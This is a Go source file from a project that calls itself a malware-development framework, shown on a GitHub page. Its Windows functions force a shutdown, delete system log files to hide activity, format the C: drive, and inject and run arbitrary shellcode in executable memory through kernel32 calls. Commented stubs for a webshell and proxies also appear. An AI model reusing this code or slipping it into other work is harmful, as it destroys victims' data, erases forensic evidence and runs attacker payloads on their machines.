-
Notifications
You must be signed in to change notification settings - Fork 142
/
coldfire_windows.go
101 lines (76 loc) · 1.8 KB
/
coldfire_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
// Package coldfire is a framework that provides functions
// for malware development that are mostly compatible with
// Linux and Windows operating systems.
package coldfire
import (
"os"
"syscall"
"unsafe"
)
func shutdown() error {
c := "shutdown -s -t 60"
_, err := cmdOut(c)
return err
}
func clearLogs() error {
os.Chdir("%windir%\\system32\\config")
_, err := cmdOut("del *log /a /s /q /f")
if err != nil {
return err
}
return nil
}
func wipe() error {
cmd := "format c: /fs:ntfs"
_, err := cmdOut(cmd)
if err != nil {
return err
}
return nil
}
func runShellcode(sc []byte, bg bool){
var bg_run uintptr = 0x00
if (bg) {
bg_run = 0x00000004
}
kernel32 := syscall.MustLoadDLL("kernel32.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
procCreateThread := kernel32.MustFindProc("CreateThread")
waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x2000|0x1000, syscall.PAGE_EXECUTE_READWRITE)
ptr := (*[990000]byte)(unsafe.Pointer(addr))
for i, value := range sc {
ptr[i] = value
}
threadHandle, _, _ := procCreateThread.Call(0, 0, addr, 0, bg_run, 0)
waitForSingleObject.Call(threadHandle, uintptr(^uint(0)))
}
// func dialog(message, title string) {
// zenity.Info(message, zenity.Title(title))
// }
// func SplitMultiSep(s string, seps []string) []string {
// f := func(c rune) bool {
// for _, sep := range seps {
// if c == sep { // what?
// return true
// }
// }
// }
// fields := strings.FieldsFunc(s, f)
// return fields
// }
/*
func keyboard_emul(keys string) error {
}
func proxy_tcp() error {
}
func proxy_udp() error {
}
func proxy_http() error {
}
func webshell(param, password string) error {
}
func stamp() {
}
func detect_user_interaction() (bool, error) {
}*/